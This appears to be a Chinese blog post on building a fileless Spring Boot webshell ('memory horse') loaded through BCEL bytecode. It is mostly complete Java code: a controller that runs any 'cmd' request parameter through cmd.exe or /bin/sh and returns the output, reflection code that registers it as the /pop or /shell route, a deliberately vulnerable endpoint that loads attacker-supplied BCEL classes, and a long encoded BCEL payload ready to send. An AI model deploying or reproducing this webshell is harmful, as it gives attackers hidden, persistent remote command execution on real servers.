利用BCEL字节码构造内存马

前言

BCEL加载类有一个特点,只可以加载jdk原生的类,其它框架的类,都会报错ClassnotFound的错误。但是,BCEL的ClassLoader在8u252后被删除了

注入流程分析

获取context

一种比较通用的获取context的方式

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

从context中我们可以获取自动注册的Bean,接着就可以进一步的利用了

恶意Function

还是老样子的通用

 // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        //exec
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }

RequestMappingHandler

内存马最重要的部分,MappingHandler是我们添加恶意方法路由的地方。我们最终都是为了获取到它,然后将我们的恶意类绑定到指定的路由

 RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
        Method method2 = InjectToController.class.getMethod("test");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = RequestMappingInfo.paths("/boo")
                .options(config)
                .build();
        InjectToController springControllerMemShell = new InjectToController("aaa");
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

以上就是内存马的核心部分

BCEL环境下内存马构造

BCEL环境下只可以加载jdk原生的东西,所以有关其他依赖比如spring的依赖。我们只可以通过反射去调用,也称为全反射

package com.example.bcelmemory.controller;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class BcelInjectToController {

    public void shell() throws Exception{
        ClassLoader springLoader = Thread.currentThread().getContextClassLoader();
        Method currentRequestAttributesMethod = springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes");
        Object RequestFace = currentRequestAttributesMethod.invoke(springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"));
        Method getRequest = RequestFace.getClass().getDeclaredMethod("getRequest");
        Object request = getRequest.invoke(RequestFace);
        Method getResponse = RequestFace.getClass().getDeclaredMethod("getResponse");
        Object response = getResponse.invoke(RequestFace);
        Method getParameter = request.getClass().getDeclaredMethod("getParameter",String.class);
        Method getWriter = response.getClass().getDeclaredMethod("getWriter");
        Method sendError = response.getClass().getDeclaredMethod("sendError",int.class);
        //exec
        try {
            String cmd= (String) getParameter.invoke(request,"cmd");
            PrintWriter writer= (PrintWriter) getWriter.invoke(response);
            if (cmd != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                sendError.invoke(response,404);
            }
        }catch (Exception e){
            System.out.println("Error");
        }
    }
    private static Object getFV(Object o, String f) throws Exception {
        Field var2 = null;
        Class var3 = o.getClass();

        while (var3 != Object.class) {
            try {
                var2 = var3.getDeclaredField(f);
                break;
            } catch (NoSuchFieldException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchFieldException(f);
        } else {
            var2.setAccessible(true);
            return var2.get(o);
        }
    }
    private static Object getMV(Object o, String m) throws Exception {
        Method var2 = null;
        Class var3 = o.getClass();

        while (var3 != Object.class) {
            try {
                var2 = var3.getDeclaredMethod(m);
                break;
            } catch (NoSuchMethodException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchMethodException(m);
        } else {
            var2.setAccessible(true);
            return var2.invoke(o);
        }
    }
}

内存马部分

第一步先从当前线程获取ClassLoader,方便后面进行反射

这里获取到了WebappClassLoader,然后我们回顾正常注入内存马的第一步,就是获取currentRequestAttributesMethod方法,然后反射调用,再下一步就该获取request和response
但是这里获取的RequestFacade,RequestFacade是对Request的一个封装,所以获取到他我们也可以进行一系列的处理

之后就是获取输入输出的方法了,就不多讲了

注入部分

ClassLoader springClassload = Thread.currentThread().getContextClassLoader();
Field resourcesField = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
resourcesField.setAccessible(true);
//获得standardcontext
Object standardcontext = resourcesField.get(Thread.currentThread().getContextClassLoader());
Field contextField = standardcontext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
//迭代获得TomcatEmbeddedContext
Object TomcatEmbeddedContext = contextField.get(standardcontext);
Field context2Field = TomcatEmbeddedContext.getClass().getSuperclass().getDeclaredField("context");
context2Field.setAccessible(true);
//获取到了ApplicationContext
Object ApplicationContext = context2Field.get(TomcatEmbeddedContext);
Field attributesField = ApplicationContext.getClass().getDeclaredField("attributes");
attributesField.setAccessible(true);
ConcurrentHashMap attributesMap = (ConcurrentHashMap) attributesField.get(ApplicationContext);
//这里springboot版本偏高,低版本有所不同。获取到AnnotationConfigServletWebServerApplication
Object springRoot = attributesMap.get("org.springframework.web.context.WebApplicationContext.ROOT");
Method getBean = springClassload.loadClass("org.springframework.context.support.AbstractApplicationContext").getDeclaredMethod("getBean", Class.class);
//最终获取到RequestMapping,结束。接下来注册路由
Object requestMappingHandlerMapping = getBean.invoke(springRoot, RequestMappingHandlerMapping.class);
Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
Object config = configField.get(requestMappingHandlerMapping);
Method paths = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo").getDeclaredMethod("paths", String[].class);
Method options = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("options", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$BuilderConfiguration"));
Method build = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("build");
paths.setAccessible(true);
options.setAccessible(true);
build.setAccessible(true);
Object builder1 = paths.invoke(springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), (Object)new String[]{"/pop"});
Object builder2 = options.invoke(builder1, config);
Object requestMappingInfo = build.invoke(builder2);
BcelInjectToController springControllerMemShell = new BcelInjectToController();
Method shell = BcelInjectToController.class.getMethod("shell");
Method registerMapping = springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping").getDeclaredMethod("registerMapping", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), Object.class, Method.class);
registerMapping.setAccessible(true);
registerMapping.invoke(requestMappingHandlerMapping,requestMappingInfo,springControllerMemShell,shell);
System.out.println("inject successfully");

我们需要获取到上述说到的核心,也就是context上下文,这里通过一系列的迭代获取springboot上下文,再做接下来的处理。这一部分最重要的是获取到RequestMapping,因为spring的controller内存马都是依托这个的,这里也不多讲,因为都是Spring内存马的东西

完整的BCEL内存马注入

准备一个漏洞入口

package com.example.bcelmemory.controller;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class Evil {
    @RequestMapping("/b1")
    public void inject(String code) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}

先把恶意Function转换成BECL字节码

import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class BcelInjectToController {
    public void shell() throws Exception{
        ClassLoader springLoader = Thread.currentThread().getContextClassLoader();
        Method currentRequestAttributesMethod = springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes");
        Object RequestFace = currentRequestAttributesMethod.invoke(springLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"));
        Method getRequest = RequestFace.getClass().getDeclaredMethod("getRequest");
        Object request = getRequest.invoke(RequestFace);
        Method getResponse = RequestFace.getClass().getDeclaredMethod("getResponse");
        Object response = getResponse.invoke(RequestFace);
        Method getParameter = request.getClass().getDeclaredMethod("getParameter",String.class);
        Method getWriter = response.getClass().getDeclaredMethod("getWriter");
        Method sendError = response.getClass().getDeclaredMethod("sendError",int.class);
        //exec
        try {
            String cmd= (String) getParameter.invoke(request,"cmd");
            PrintWriter writer= (PrintWriter) getWriter.invoke(response);
            if (cmd != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", cmd});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                sendError.invoke(response,404);
            }
        }catch (Exception e){
            System.out.println("Error");
        }
    }
    private static Object getFV(Object o, String f) throws Exception {
        Field var2 = null;
        Class var3 = o.getClass();

        while (var3 != Object.class) {
            try {
                var2 = var3.getDeclaredField(f);
                break;
            } catch (NoSuchFieldException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchFieldException(f);
        } else {
            var2.setAccessible(true);
            return var2.get(o);
        }
    }
    private static Object getMV(Object o, String m) throws Exception {
        Method var2 = null;
        Class var3 = o.getClass();

        while (var3 != Object.class) {
            try {
                var2 = var3.getDeclaredMethod(m);
                break;
            } catch (NoSuchMethodException var5) {
                var3 = var3.getSuperclass();
            }
        }

        if (var2 == null) {
            throw new NoSuchMethodException(m);
        } else {
            var2.setAccessible(true);
            return var2.invoke(o);
        }
    }
}

package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;


public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        JavaClass javaClass = Repository.lookupClass(BcelInjectToController.class);
        String code = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code);
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}

完整的内存马

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.concurrent.ConcurrentHashMap;

public class BcelSpringMemShell {

    public BcelSpringMemShell(String aaa) {}

    public BcelSpringMemShell() throws Exception{
        ClassLoader springClassload = Thread.currentThread().getContextClassLoader();

        Field resourcesField = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
        resourcesField.setAccessible(true);
        //获得standardcontext
        Object standardcontext = resourcesField.get(Thread.currentThread().getContextClassLoader());
        Field contextField = standardcontext.getClass().getDeclaredField("context");
        contextField.setAccessible(true);
        //迭代获得TomcatEmbeddedContext
        Object TomcatEmbeddedContext = contextField.get(standardcontext);
        Field context2Field = TomcatEmbeddedContext.getClass().getSuperclass().getDeclaredField("context");
        context2Field.setAccessible(true);
        //获取到了ApplicationContext
        Object ApplicationContext = context2Field.get(TomcatEmbeddedContext);
        Field attributesField = ApplicationContext.getClass().getDeclaredField("attributes");
        attributesField.setAccessible(true);
        ConcurrentHashMap attributesMap = (ConcurrentHashMap) attributesField.get(ApplicationContext);
        //这里springboot版本偏高,低版本有所不同。获取到AnnotationConfigServletWebServerApplication
        Object springRoot = attributesMap.get("org.springframework.web.context.WebApplicationContext.ROOT");
        Method getBean = springClassload.loadClass("org.springframework.context.support.AbstractApplicationContext").getDeclaredMethod("getBean", Class.class);
        //最终获取到RequestMapping,结束。接下来注册路由
        Object requestMappingHandlerMapping = getBean.invoke(springRoot, springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"));
        Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        Object config = configField.get(requestMappingHandlerMapping);
        Method paths = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo").getDeclaredMethod("paths", String[].class);
        Method options = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("options", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$BuilderConfiguration"));
        Method build = springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo$DefaultBuilder").getDeclaredMethod("build");
        paths.setAccessible(true);
        options.setAccessible(true);
        build.setAccessible(true);
        Object builder1 = paths.invoke(springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), (Object)new String[]{"/shell"});
        Object builder2 = options.invoke(builder1, config);
        Object requestMappingInfo = build.invoke(builder2);
        Object bcelclassLoader = springClassload.loadClass("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance();
        Method loadClassmethod = bcelclassLoader.getClass().getMethod("loadClass", String.class);
        Class Memshell= (Class) loadClassmethod.invoke(bcelclassLoader,"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$JtTW$Z$fen2$93$f7f$e6$r$q$TH$98$40$cb$o$84$ecS$c2$o$q$40$T$C$b1i$93$902$U$I$b4$c5$97$c9K20$997$bcy$93$80K$b5$ae$d5Z$d7V$c4$7d$abqA$zX$H$y$d0R$95V$ebR7$dck$5d$ab$d6$e5$i$cf$d1s$f4$9cj$fd$ee$7b$938$93L$ca1gr$df$bd$ff$ff$df$ff$fe$cb$f7$ff$ef$be$t$fe$f3$d0$c3$A$d6$e3$af$7e$f8$f0J$3f$ee$c0$ab$e4$f0j$Vw$fa$f1$g$bcV$c5$eb$U$bc$de$P$FoP$f0F$3f$ee$c2$9b$a4$e4$9bU$MJ$e2$dd$w$O$aa$b8M$c1$5bT$dc$ae$e2$90$P$f7$e0$ad$w$fa$V$bcM$c5$dbU$bc$c3$8fw$e2$5d$7e$94$e3$5e$V$f7$c9$e7$bb$V$9cP$f1$k$V$t$fdX$8a$f7$aax$9f$8a$f7$x$f8$80$5c$7d$d0$8f$P$e1$c3$7e$ac$c4GT$7cT$3e$3f$s$87$8f$cb$e1$7e9$7c$c2$8fE$98$92$c3$t$e5$c0$e5$3d$f8$94$82O$fbx$cagT$9c$f2$e3$b3$f8$9c$b4$eb$f3$K$k$90$cf$d3$7e$fav$c6$8f$_$e0A9$7cQA$c6$8f$cd$92r$X$kTpV$a0dK$y$R$b3$b7$J$U$d7$d5$ef$V$f0t$99$c3$86$c0$82$deX$c2$e8O$8f$P$Z$d6$k$7d$uNJ$b0$d7$8c$ea$f1$bd$ba$V$93$eb$y$d1c$8f$c5R$C$eb$7b$a3$e6x$d88$a6$8f$t$e3F8$954$e2$e1$a8$99$b0$z3$k7$ac$f0$f6$a8$R$efI$i6$a2$f6$k$b3k$86$dc$$$b0$a8$ae$f7$b0$3e$a1$87$e3zb4$i$b1$adXb$b4$5d$daP$ac$eb$ba$3cp$OS$a0$bc$cf$b0$c7$cc$e1$B$dd$d2$c7$N$db$b0x$b875f$c4$e3$C$o$vP$93$b3g$c02$a3F$w$b5$3d$j$8b$P$3b$c7$J$93$ffQ$81JW$um$c7$e2$e1HTO$q$inqt$7c$98$d1$98$b4bTK$db$5c$a1$98I$3d$b1$84$bd$cf$nK$r$c6$M$cf9e$e7$b1$a8$91$b4cf$82$3c$z$95$94f$f6$9a$fa$b0TQ$9d$p$d6$V$d7S$v$97A$c1k$a3i$cb2$S$f6n$e3h$daH$d9$9d6$dd$hJ$dbF$ca$f5$$$df$P$cb$Y$893va$97$c7$dd$81$ec$b6n$3dj$e4$87i$d7$90$8c2E$fc$a3$c6$b4r$B$c5$9a$9e$F$ir$wi$sR$dc$a9Z3S$8d$8c$99$98$K$f8$b8$dc$97$N$84$_e$q$86wZ$96$c9yi$c4$d6$a3G$fa$f4$a4$93$7e$c2G$c19$F_ba$b0$A$IyB$9bH$s$ki$c1L$60d$8a$a8$af$9b$89$ddT7$d7$d8$C$Q$u$e4$91gB$b76$I$y$cf$e1$f5$9b$91tt$ac$3bf$c4$87s$b3$mF$5c$e9V$81P$810$3a$f2Y$85$eb$E$wf$t$a9$5d$c1C$acx$d6$8fkw$l$ed$5e1$e7T7$Zy$c7$8e$b3$b6$e8w$c4L$5bQ$a3$3b$s$cbcIa$e8$b7Hm$g$b6b$9b$82$f3$g$$$e0$a2$86$87$f1$88$c0$W$d3$gmqA4$o$931iZGZ$s$8d$a1$WYM$c61$bb$r$9b$c9$96ln$bb$5c$f2$N$a6D8s$a1$e1$S$k$VX$3c$l$bcX$d7$b3$bc$d5$f0e$7c$85e5$3b$e2$cc$aa$86$af$e2$b2$86$c7$f0$b8$86$af$cd$Sr3$a5$e0$eb$g$9e$A$d5V$W$u$W$B$Q$7bf$aa$rAO$U$7cC$c37$f1$z$N$df$c6$93$y$b6$c9XB$c3w$f0$5d$g$3b_$c5r3K$b2$c58$c6$40$W$85$a32$5e$df$p$z$3c$UK$84Sc$a45$b3$96$x$e6$94$b2$86$ef$e3$H$K$aeh$f8$n$7e$q7$fd$98$b9$e9$d4$f0$T$fcT$c3$cf$f0s$NO$e1I$N$bf$c06$NOc$87$86_$ca$d9$af$f0$ebi$_$f2$cbZ$c3o$f0$5b$c6m$bbi$8e$c6$92fr$b9S$Kw$u$f8$9d$86g$e4$f6$df$e3$P$y$e8$XF$a5$86$3f$ca$un$c5$O$82K$c3$b3$f8$93$86$3f$e3$_$C$cb$ae$82$x$81$d6$ff$bf$b3$b2A$Vl$3cy$b1$ce$ef$wlV$f3TJ$5e$da$f7$8cY$86NRi$W$60$d3$eb$85u$b95$ebRe$7fg$f9d$n$9agF$uO$3c$bf5$fa$e2$9c9$q$81$d5$85$de$Ps$ea$d5mW$d3$7et$U$d8sp$ce$9e$fa$X$ea$af$r$b1$c4$84y$84$a8$db$5c$a0$5d$j$9cK$w$d8$afT$e9$bb$ebF$e5$5cw$vPA$81$jF4$ae$5b$c6$f0$b4$f1$V$ff$T$eba$d8Fe$b0$3c$7b$G$Hv$e6$X$df$f1$94m$8c$bb$dd$9c$r$934$y$fb$b8$40$edU$825$f3$K$N$d8f$af9iX$5d$ba$ec$fc$f9$a9$9b$RR$r$ca$f4$98l$deKr$Vw$8d$e9VD$b6$95D$d4h$af$3f$mPUw$b0$f0K$dc$9b$b2u$cb$96$_$f9$fa$b9$_$e5$f6$3c_$b3D$812z$d4$93H$a6m$ea1t$baX$3d$bd$99$ad$r$87$c1$ed$8b$eb$K2$e4$c9Z$3ae$ec0$e2$b1q$b7$L$ad$99$3f0$b3$ae$A$ca$98$9e$ea$tX$9d$bb$Q$7d$f3$q$9c$857$g7e$a8$bc$ce$dd$80$cf$91xZ6$meB$8f$a7$8d$5d$p2$I$3d$b9Nfs$t$_$Vf$da$9es$97$98$f1$a1$b2$A$99je$ff$b7$e3$ac$fd$f2$i$88d$8b$b1$f9$wY$9e$fd$96$x$a5$8aH$9a$Q$89$baX$yM$ZvgTF$3b$e6$5e$e0$ea$O87$$$8a$cd$82$d0$fc$e0$c6$Kl$e1$VX$fey$d9$e2$f9$g$e3x$3dW$eb$f8$U$92$dap$W$e24$tE$e8$e0$e8$e7$T$dc$e0A$A$9d$9ci$ae$Q$b6$a3$Lp$U$ec$a0$84T$b0$95$ab$a2$f9$UhTP$e6$u$a8r$85$b2$K$e4l$t$ba$b9$f5$rr$$$b8$90Zo$a0Y$8e$d6$e2$w$94$f0$de$N1q$OE$Z$U$f76$G$3d$Zx$83$r$c5$X$a1d$a0$f65$b9$E$$$7d$Z$f8$fb$9b3$I$E5$97Y$da$e6$Jy$9a$b3$9c6$af$c3$w$9bf$95$84JfXJ$c8$xy$L$3c$e4$N$W$H$cb$pR$40$N$v$92X1$bd$c1$e7$ae$83$ae$d0$ZT$3aR$fe$90$g$f2$92$e4$e3$be$85$a4$f8$_$a1$bc$z$Q$a2pV$f9$r$yj$d3B$81$c7p_$b0$aa$ad4X$7d$O$8b3$I$Fk2Xr$S$x$cfc$e9$60$c9E$94s$f75$91AO$f0$da$c8$a07$U$88$9c$c5$b2$b6$b2$v$y$cba$_$97$ec$V9$ec$f3X9$Y$w$cb$e0E$Z$ac$3a$8b$d5$c1$da$M$d6$b4$z$I$z$c8$a0$ee$q$C$f2Y$3f$Fo$a8$b4$adT$ce$hBZ$a84$83$c6$90$96A$93$i$9a$a7$b08$e4$P$v$ae$ed$V$e2$desh$91$f6$ef$9b$a2W$813$b8$$$b86$83$d6$d3$cc$c5$J1$s$8e$m$8cb$t$9d$T$b8$86c9$bfN$wP$8d$mjQ$89$NX$c8$d4$$$c2$A$93$7b$x$a9G$b1$Yw$o$84$T$fc$w$3aE$f9$L$b8$W$8fb$Z$$$T$7cW$f8$n$f4w$ac$S$e5$a8$V$b5X$p$daP$t$aeG$bd$e8F$83$b8$J$8db$AM$o$82$W1$86V$9ez$9d$Y$c7Z$91$s8$rt2$3c$efo$b4$a3$H7$SL$97q7n$otJ$a9$ab$c3$a5Qc$Dz$d1$87$F$3c$f7$C$fa$c9$N$f0y$K$bbh$9bF$5d$wn$c6n$d2$88$a7$y$A$Va$o$82$3d$f4$b3Z$i$c2$z$d8K$dc$d5$d2$8a$7d$d8$cf$936$88N$M$92$e6A$a7$d8$80$D$a4y1$c0S$O$92V$82$5bE$N$fd$dd$cfX$i$V$5e$dcF$g$3f$3c$f1$P$dc$ce$99$8f$de$3f$8dC$9c$f9$f1R$9e$d3$P$f5y$3a$5e$a6$40W0$a4$m$aa$60x$ce$e8$fex$df$g$e1$I$3c$87$r$KF$9f$c3j$Fc$9d$a4$fc$T5$ff$c2$c2$ed$Kb$3e$i$a6N$P$ad$OS$ff$R$c4i$ab$ac$c1$x$7cz$f9$dc$q$fa$g$88$d6$fe$e6$a0$ef$7eT57f$b0$aeO$s$d6$c3$o$d8$d0$3f$f5$fc$b3M$8fC$3b$8f$f5$83$8dg$b1$f1$91$sV$d0$8b$9b$b8a$d3$D$d4X$ca$8cV$f1$c3$d3$cdw$xK$X$ccp$R6$d2$cfM$e4$b6$91$dfN$89$z$cc$f2Vfw$h$963$3b$ab$Y$cff$f6$82VVp$a7$f3Q$ee$r$df$8bq$qh$t$zb$ae$f6$3b$F$bf$J$a6S$f0Rc$92X$v$a2$de$b5$b0$90$e2$892R$V$f0$fc$h$8a$C$5ec$d3$fc$U$9f$f0i9$ce$ca$$$e1$x$a2$$P$8bl$$$933$be$3f$95$f5$bd$p$d7$f7$9a$e6$c6l$B$e7$f9$ff$8c$eb$fff$e9$7f$9b$e3$7f$7bSC$b6b$dd$YT$a3$86$9f$da$b91$e8$a1$a57$d2$d6$5er$fb$c9$dfE$89$B$o$fcf$a2z7$fd$bf$Fu$cc$f6Zz$b9$91$98$99$8e$c1R$t$G$c7$9c$Yt$cc$c4$a0$D$c7$b31$d8$c6$Y$ecub$b0$b9$40$M$88$86$f4n$F$_$9b$_$G$c7$9dn$f9r$a7$d9$be$e2$bf$v$y$i$86$P$R$A$A");
        Method shell = Memshell.getMethod("shell");
        Object InjectMemshell=Memshell.newInstance();
        Method registerMapping = springClassload.loadClass("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping").getDeclaredMethod("registerMapping", springClassload.loadClass("org.springframework.web.servlet.mvc.method.RequestMappingInfo"), Object.class, Method.class);
        registerMapping.setAccessible(true);
        registerMapping.invoke(requestMappingHandlerMapping,requestMappingInfo,InjectMemshell,shell);
        System.out.println("inject successfully");
    }
}

最后在将这个类转成BCEL字节码,打就行了

posted @ 2024-04-08 07:59  F12~  阅读(116)  评论(0编辑  收藏  举报